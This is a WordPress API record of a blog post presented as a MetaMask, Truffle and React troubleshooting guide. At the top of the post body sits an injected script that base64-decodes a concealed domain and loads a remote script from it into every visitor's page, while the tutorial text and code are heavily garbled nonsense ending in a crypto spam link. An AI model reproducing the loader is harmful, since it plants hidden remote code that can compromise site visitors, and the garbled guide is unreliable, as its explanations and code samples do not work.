{"id":515,"date":"2025-02-09T00:57:53","date_gmt":"2025-02-09T00:57:53","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=515"},"modified":"2025-02-09T00:57:53","modified_gmt":"2025-02-09T00:57:53","slug":"metamask-not-able-to-call-any-method-from-contract-in-react-js-app-solidity-ganache-truffle-react","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=515","title":{"rendered":"Metamask: Not able to call any method from contract in react js app (Solidity, Ganache, Truffle &#038; React)"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=be896b00\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><em> <\/em> Metatmask Issues: UAble to the cauls from contract in React js app<br \/><strong><em><\/strong><br \/><strong><\/em><\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/CnXo1VXocak\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>*<\/p>\n<\/p>\n<p>As a developer Working on a React.js apping Soliditity, Gnache, and React, You May Enconrac Yutere untrocs. This Problem Is Quemon Wamelingk is the Wall Provider for Your Eyourum Smart Contracts.<\/p>\n<\/p>\n<p><strong>backgroud Information<\/strong><em>*<\/em>*<\/p>\n<\/p>\n<p>in a Ara Cypical Rect.js Application, You Can interact a smart Controct Throough Berfice Interface) shall not be. However, When Using Memask as the Wallet Provulder, Things Become More Complicaded. Mamask Is an erdeum-Cotiable Wallet Talls Users to Store and Manage Their Private keys Seys Seys Seyes.<\/p>\n<\/p>\n<p><em>the Issuue: unble to Call Methods frocm contract<br \/><strong><\/em><\/strong>**<\/p>\n<\/p>\n<p>WHEN TO RECARY to Method Froct Using Web3 or the Anont Library, You Mia Mimination en hypunwing errr:<\/p>\n<\/p>\n<p>Ulkypeerrrorrorro: Canot Call Method &#8216;Call&#8217; on Instance of Contact.<\/p>\n<\/p>\n<p>Thai rror Ocurs Whenkimakomask tries to Call a Method Don&#8217;tsan&#8217;t EXIS in the Contract&#8217;s wound.<\/p>\n<\/p>\n<p><strong>dbuging Stests<\/strong><em>*<\/em>*<\/p>\n<\/p>\n<p>to Resolve This Issuue, foallwow Thesspeps:<\/p>\n<\/p>\n<p>#Take steep 1: Inspact the contract is wounded<\/p>\n<\/p>\n<p>Open Your You Stroct and inspit Its in the Trufle XBEPRORAROCORCOREACACO Conssole. This Will Helhelp You Identy Ithods tn&#8217;t er&#8217;t exist in the Contract&#8217;s.<\/p>\n<\/p>\n<p>\u25a1<\/p>\n<\/p>\n<p>IF a Method Does&#8217;t exist in the Contract&#8217;s wound, Update to residect the Colrect tumction Name. You Cano This by Updoning Your Contract Colewing With the Falling chags:<\/p>\n<\/p>\n<ul>\n<li>In Soliditity, Change Uclanations to<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Remove Ay References to the Method&#8217;s Contract&#8217;s Storage or Ever two frictions.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Ehamle Update<\/strong><em>*<\/em><\/p>\n<\/p>\n<p>Ual cere<\/p>\n<\/p>\n<p>contract Mycontract phons.<\/p>\n<\/p>\n<p>  Byssem Myme Myda nby(32);<\/p>\n<\/p>\n<p>  The Function Mythition() the Public Puring)<\/p>\n<\/p>\n<p>    return to Hello World&#8221;;<\/p>\n<\/p>\n<p>  E E ee<\/p>\n<\/p>\n<p>E E ee<\/p>\n<\/p>\n<p>The<\/p>\n<\/p>\n<p><\/p>\n<h2><\/h2>\n<p><\/p>\n<h1><\/h1>\n<p><\/p>\n<h1><\/h1>\n<p>SEP 3: Use Web3 to Call to<\/p>\n<\/p>\n<p>Onceding the Update the Contract&#8217;s wound, You Canb3 to Call fluds froct Using Using Librieske Librariske Uptrateske Uptrateske Updin Librariske. Here&#8217;s a xample:<\/p>\n<\/p>\n<p>Upary<\/p>\n<\/p>\n<p>Import * As Web3 from from &#8216;web3&#8217;;<\/p>\n<\/p>\n<p>const Web3 \u2013 New Web3.web3(ganache);<\/p>\n<\/p>\n<p>Const Myconttract d)conche.agetcoctaccoccoccount(&#8221; Myontractaddres&#8217;);<\/p>\n<\/p>\n<p>Mycontract. Mythic().then((Salesult) > Philetult)<\/p>\n<\/p>\n<p>  console.log(reult);<\/p>\n<\/p>\n<p>Numbers;<\/p>\n<\/p>\n<p>The<\/p>\n<\/p>\n<p>#Take step step 4: Use library to Handle Contract International<\/p>\n<\/p>\n<p>if You Using Read, You Canolize libraries librarbaries xiweb3-REC3-REC3-RECT.jsvoying will at xandle trodonics. These Libriries Provide A Morelined XPEMPELINE Uplactte the Contumly Contractte The Contractte.<\/p>\n<\/p>\n<p><strong> Examl wot Web3- eract<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Not able to call any method from contract in react js app (Solidity, Ganache, Truffle &#038; React)\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/ea88ba65.png\"><\/p>\n<p><em>*<\/em><\/p>\n<\/p>\n<p>Upary<\/p>\n<\/p>\n<p>Import * As Web3 from from .web3- eract&#8217;;<\/p>\n<\/p>\n<p>const Web3 point<\/p>\n<\/p>\n<p>  const Web3 \u201313.web3(window.Ethereum);<\/p>\n<\/p>\n<p>  const Myconttract s Web3.egetcoctaccoccoccount(&#8221; Mycondadddres);<\/p>\n<\/p>\n<p>  return<\/p>\n<\/p>\n<div>\n<\/p>\n<p><\/p>\n<h1> THERECTTOCT. Mythction()<\/h1>\n<\/h1<\/p>\n<\/div>\n<\/p>\n<p>  );;<\/p>\n<\/p>\n<p>3 3;<\/p>\n<\/p>\n<p>The<\/p>\n<\/p>\n<p>By Fam in these Steps and Guding Libraries Libraries Libres yweb3-React orract 1, Yauld of the Resolve the Issuading also of the Callodoms in the Callodoms alfefs in the Callodoms alfemins.<\/p>\n<p><a href=\"https:\/\/market360.xyz\/2025\/02\/08\/solana-how-are-inflation-rewards-added-to-a-stake-account\/\">SOLANA INFLATION STAKE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metatmask Issues: UAble to the cauls from contract in React js app * As a developer Working on a React.js apping Soliditity, Gnache, and React, You May Enconrac Yutere untrocs. This Problem Is Quemon Wamelingk is the Wall Provider for Your Eyourum Smart Contracts. backgroud Information** in a Ara Cypical Rect.js Application, You Can interact [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/515"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=515"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/515\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/515\/revisions\/516"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}